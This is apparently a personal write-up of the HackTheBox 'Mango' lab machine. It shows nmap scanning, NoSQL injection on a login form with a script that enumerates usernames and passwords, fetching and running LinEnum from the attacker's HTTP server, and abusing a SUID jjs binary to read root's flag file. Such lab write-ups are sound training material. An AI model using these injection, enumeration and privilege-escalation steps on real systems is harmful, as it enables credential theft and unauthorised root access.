HTB Mango

18/04/2020 4-minute read

0x01 Introduction Link to heading

Write up for Mango machine on HackTheBox. Was quite interesting and really CTF-like machine. Especially that guess thing with Mango=mongoDB 😅. I really enjoyed it.

0x02 Tools Link to heading

nmap
burp
NoSQL
LinEnum
GTFOBins

0x03 Recon and Enum Link to heading

nmap Link to heading

 1ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.162 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); nmap -sC -sV -p$ports -oA mango 10.10.10.162
 2Starting Nmap 7.80 ( https 
 3Nmap scan report for 10.10.10.162
 4Host is up (0.28s latency).
 5
 6PORT    STATE SERVICE  VERSION
 722/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
 8| ssh-hostkey: 
 9|   2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
10|   256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
11|_  256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
1280/tcp  open  http     Apache httpd 2.4.29 ((Ubuntu))
13|_http-server-header: Apache/2.4.29 (Ubuntu)
14|_http-title: 403 Forbidden
15443/tcp open  ssl/http Apache httpd 2.4.29 ((Ubuntu))
16|_http-server-header: Apache/2.4.29 (Ubuntu)
17|_http-title: Mango | Search Base
18| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
19| Not valid before: 2019-09-27T14:21:19
20|_Not valid after:  2020-09-26T14:21:19
21|_ssl-date: TLS randomness does not represent time
22| tls-alpn: 
23|_  http/1.1
24Service Info: OS: Linux; CPE: cpe 
25
26Service detection performed. Please report any incorrect results at https 
27Nmap done: 1 IP address (1 host up) scanned in 32.20 seconds

https Link to heading

Looks like there is a service running on port 443. Let’s check it out.

The only link that working is analytics.php:

And it looks like it’s a rabbit hole. Because it points out to another server, which is outside of scope of this machine.

Certificate details. Link to heading

Looks like we know at least one username and commonName (CN), in other words it is a domain name:

Let’s add this CN to our hosts file so if we type the name of this server, it will redirect us to the local IP address:

1vim /etc/hosts
2
3#add this line
410.10.10.162     staging-order.mango.htb

Now let’s go back to the browser

yay! the login page :)

burp Link to heading

Ok, it’s a login page, time to run Brup Suite I guess.

Welp.. it’s just a POST request and it doesn’t return anything useful. A little bit of HRB Forum search said that the hint is the name of the box Mango. That’s what I thought when I first read the name of the box at all.. it must be something related to MongoDB. Let’s check for NoSQL / Object Query injections, shouldn’t we? So, I modified the request as following:

And got 302 code to redirect to another rubbish page:

0x04 Exploitation Link to heading

nosql Link to heading

Welp.. at least we know it is vulnerable to NoSQL injection. Let’s check if we can enumerate some usernames:passwords using python scripts. There is a nice script by an0nlk:

 1# python nosql.py 
 2usage: nosql.py [-h] [-u URL] [-up parameter] [-pp parameter] [-op parameters]
 3                [-ep parameter] [-m Method]
 4
 5optional arguments:
 6  -h, --help      show this help message and exit
 7  -u URL          Form submission url. Eg: http 
 8  -up parameter   Parameter name of the username. Eg: username, user
 9  -pp parameter   Parameter name of the password. Eg: password, pass
10  -op parameters  Other paramters with the values. Separate each parameter
11                  with a comma(,). Eg: login:Login, submit:Submit
12  -ep parameter   Parameter that need to enumerate. Eg: username, password
13  -m Method       Method of the form. Eg: GET/POST
14None
15
16Example: python nosql.py -u http

In our case the commands (we need 2: for username and another for password) will be:

1python3 nosql.py -u http://staging-order.mango.htb/index.php -up username -pp password \ 
2-op login:login -m POST -ep username
3
4python3 nosql.py -u http://staging-order.mango.htb/index.php -up username -pp password \ 
5-op login:login -m POST -ep password

Runnint this script I was able to find some usernames and passwords:

Usernames	Passwords

LinEnum Link to heading

Let’s try to connect to the box via ssh using one of the passwords we obtained before:

1ssh mango@10.10.10.162

we can now use su admin and login as admin using the password and get the user flag:

Let’s enumerate further and see if we have anything to exploit for privesc.

1#on kali
2python3 -m http.server 80
3
4#on mango
5wget http 
6chmod +x linenum.sh
7./linenum.sh

There was heaps of stuff, but the most interesting was the following line below:

1[...]
2[+] Possibly interesting SUID files:
3-rwsr-sr-- 1 root admin 10352 Jul 18  2019 /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
4[...]

GTFOBins Link to heading

So, looks like there was a java intepreter available for us and it was runnin as root. Let’s check GTFOBins if there is anything interesting.. Of course there was a thing:

So, we can read the files using it:

We just needed a proper code:

1echo 'var BufferedReader = Java.type("java.io.BufferedReader");
2var FileReader = Java.type("java.io.FileReader");
3var br = new BufferedReader(new FileReader("/root/root.txt"));
4while ((line = br.readLine()) != null) { print(line); }' | jjs

And after running this, we got another flag.

That’s it.